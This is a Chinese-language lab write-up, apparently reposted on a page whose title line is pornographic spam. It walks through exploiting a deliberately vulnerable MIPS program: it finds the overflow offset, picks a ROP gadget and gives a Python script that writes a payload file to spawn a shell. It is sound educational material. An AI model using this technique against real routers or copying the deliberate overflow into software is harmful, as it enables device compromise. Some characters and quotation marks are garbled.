亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

MIPS緩沖區(qū)溢出漏洞實(shí)踐

這份實(shí)踐來(lái)自于學(xué)習(xí)-解密路由器漏洞的筆記和總結(jié)。主要用來(lái)回顧和鞏固整個(gè)過(guò)程,整個(gè)過(guò)程里面不是非常順利,主要的問(wèn)題點(diǎn)在于對(duì)于溢出函數(shù)的地址的確定。

這個(gè)自己寫(xiě)的漏洞代碼主要基于MIPS的編譯器進(jìn)行編譯,通過(guò)這份基礎(chǔ)的溢出漏洞學(xué)習(xí),主要用來(lái)為之后在路由器的漏洞溢出實(shí)踐中打好基礎(chǔ)。

下面開(kāi)始review整個(gè)過(guò)程。

1. 首先我們來(lái)看看自己寫(xiě)的一個(gè)存在溢出漏洞的源代碼
#include
#include <sys/stat.h>
#include
void do_system(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}

void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;

if(0 == stat(“passwd”,&fileData))
fileLen = fileData.st_size;
else
return 1;

if((fp = fopen(“passwd”,”rb”)) == NULL)
{
printf(“Cannot open file passwd!n”);
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen) { buf[count++] = ch; ch = fgetc(fp); } buf[–count] = ‘x00′; if(!strcmp(buf,”adminpwd”)) { do_system(count,”ls -l”); } else { printf(“you have an invalid password!n”); } fclose(fp); }

這份代碼的主要功能就是從文檔“passwd”讀取密碼,如果密碼為adminpwd,那么就執(zhí)行l(wèi)s –l的指令,從而查看文件的列表。可以發(fā)現(xiàn)這里有個(gè)溢出的緩沖區(qū)就是來(lái)自于輸入的文檔“passwd”然后賦值到buf里面,由于沒(méi)有對(duì)buf進(jìn)行控制,所以可能產(chǎn)生溢出漏洞。這里我們也主要針對(duì)這個(gè)漏洞進(jìn)行測(cè)試。

那么總結(jié)下來(lái)挖掘一個(gè)MIPS漏洞的過(guò)程如下:

A. 確定能夠覆蓋函數(shù)地址的偏移,即劫持PC;

B. 尋找可以用來(lái)執(zhí)行命令的函數(shù);

C. 構(gòu)造ROP chain;

D. 漏洞利用測(cè)試。

2. 首先來(lái)確定函數(shù)的偏移,可以利用教材自帶的字符串溢出測(cè)試工具進(jìn)行測(cè)試

$ python patternLocOffset.py –c –l 600 –f passwd [*] Create pattern string contains 600 characters ok! [+] output to passwd ok! [+] take time: 0.0026 s 通過(guò)這個(gè)命令可以產(chǎn)生一個(gè)長(zhǎng)度為600的溢出測(cè)試字符串,并且存儲(chǔ)到名為passwd的文件中。

3. 利用IDA進(jìn)行MIPS程序的附加調(diào)試,在main函數(shù)返回函數(shù)之前下好斷點(diǎn),然后附加程序運(yùn)行起來(lái)

t01651da118b8dc4ecc

4. 可以發(fā)現(xiàn)覆蓋的內(nèi)容為0x6e37416e, 那么接下來(lái)再次利用腳本來(lái)測(cè)試一下偏移是多少,可以得到偏移是412

$ python patternLocOffset.py -l 600 -s 0x6E37416E [*] Create pattern string contains 600 characters ok! [*] Exact match at offset 412 [+] take time: 0.0036 s

5. 偏移確定了,那么我們就可以控制PC了,我們檢測(cè)測(cè)試一下是否成功控制了PC,往passwd里面增加412個(gè)‘A’和接下來(lái)的4個(gè)‘B’

t01c7c2c598dc286c6a

可以發(fā)現(xiàn),我們可以成功控制PC。

6. PC可以控制了,接下來(lái)我們就看如何溢出到函數(shù)的位置

有兩種方式進(jìn)行漏洞利用:1)復(fù)用程序里面的函數(shù)調(diào)用;2)構(gòu)造shellcode。 我們這里主要進(jìn)行程序里面函數(shù)復(fù)用的測(cè)試方式,shellcode的方式在之后再進(jìn)行測(cè)試和使用。通過(guò)前面的程序內(nèi)容分析,可以發(fā)現(xiàn),系統(tǒng)里面有一個(gè)函數(shù)do_system_0函數(shù)可以執(zhí)行指令:ls –l。 雖然僅僅只能執(zhí)行一個(gè)命令, 但是只要對(duì)該函數(shù)的參數(shù)進(jìn)行有效的溢出攻擊,那么就能夠?qū)崿F(xiàn)任意系統(tǒng)命令的執(zhí)行。在此之前,我們需要找一下可以構(gòu)造函數(shù)溢出并且能夠返回的一個(gè)中間跳轉(zhuǎn)代碼塊,這里利用IDA的plugin mipsrop進(jìn)行尋找:

指令執(zhí)行之后,可以找到這個(gè)位置的代碼進(jìn)行測(cè)試:text:00402050. 然后到對(duì)應(yīng)的代碼段看,

可以發(fā)現(xiàn)這段代碼的功能,只要在$SP+0x54的位置存入需要執(zhí)行的do_system_0函數(shù)的地址,然后在$SP+0x18的位置放入需要傳入的指令,就能夠?qū)崿F(xiàn)任意命令的執(zhí)行。

7. 所以,可以發(fā)現(xiàn)在添加了PC的偏移之后,需要再相隔0x18個(gè)byte再放置需要執(zhí)行的系統(tǒng)函數(shù)的字符串, 然后在PC偏移之后相隔0x54個(gè)byte放置需要執(zhí)行的函數(shù)的地址,也就是do_system_0的地址

從上面的截圖中可以發(fā)現(xiàn)do_system_0的函數(shù)?為0x00400420.

8. 那么我們就可以嘗試按照下面的方式構(gòu)造一個(gè)passwd文件測(cè)試一下
import struct cmd = “sh” # command string cmd += “x00″*(4 – (len(cmd) % 4)) # align by 4 bytes #shellcode shellcode = “A”*0x19C # padding buf shellcode += struct.pack(“>L”,0x00402050) # “x00x40x1FxA0″(PC)
shellcode += “A”*24 # padding before command
shellcode += cmd # command($a1)
shellcode += “B”*(0x3C – len(cmd)) # padding
shellcode += struct.pack(“>L”,0x00400420) # “x00x40x05x90″
shellcode += “BBBB” # padding

print ‘ ok!’

#create password file
print ‘[+] create password file’,
fw = open(‘passwd’,’w’)
fw.write(shellcode)#’A’*300+’x00’*10+’BBBB’)
fw.close()
print ‘ ok!’

9. 構(gòu)造了之后,可以直接用下面的方式進(jìn)行執(zhí)行

t01cf4c101eaedc96b5

可以發(fā)現(xiàn)成功的進(jìn)行了漏洞的利用,

到這里,MIPS程序的基礎(chǔ)的漏洞利用測(cè)試就完成了。

總結(jié)

這個(gè)程序里面有一個(gè)內(nèi)部的do_system_0函數(shù),并且不安全的輸入源是輸入文件passwd可以用來(lái)構(gòu)造溢出漏洞文件。在之后的程序利用中,很可能主功能的程序里面并沒(méi)有一個(gè)可以利用的函數(shù)讓我們進(jìn)行函數(shù)的溢出漏洞利用,需要進(jìn)行shellcode的設(shè)計(jì),即從系統(tǒng)庫(kù)函數(shù)里面找到system函數(shù),并且調(diào)用與執(zhí)行。后者的問(wèn)題稍微麻煩些。

且,當(dāng)前的這個(gè)函數(shù)do_system_0里面,對(duì)于輸入字符串的讀取,并不是一個(gè)字符串方式的提取,因此,如果是字符串的提取,會(huì)對(duì)于一些字節(jié)進(jìn)行截取:0x00,如果指令里面存在這樣的字符串,可能會(huì)導(dǎo)致注入程序的字符串被截?cái)啵瑥亩鴮?dǎo)致程序漏洞利用失敗。為此,需要進(jìn)行shellcode編碼或者用其他指令代替或者多跳轉(zhuǎn)幾次ROP chain從而將bad byte消除。

下一次將繼續(xù)分享總結(jié),如何進(jìn)行shellcode的編碼以繞過(guò)字符串截?cái)嗟膯?wèn)題。

原文:https://www.anquanke.com/post/id/148551

上一篇:別讓暑假成為孩子 “網(wǎng)癮”的溫床 趨勢(shì)科技家長(zhǎng)防護(hù)功能對(duì)“沉迷”說(shuō)不

下一篇:第八期“安全+”沙龍之杭州站 | 6月22日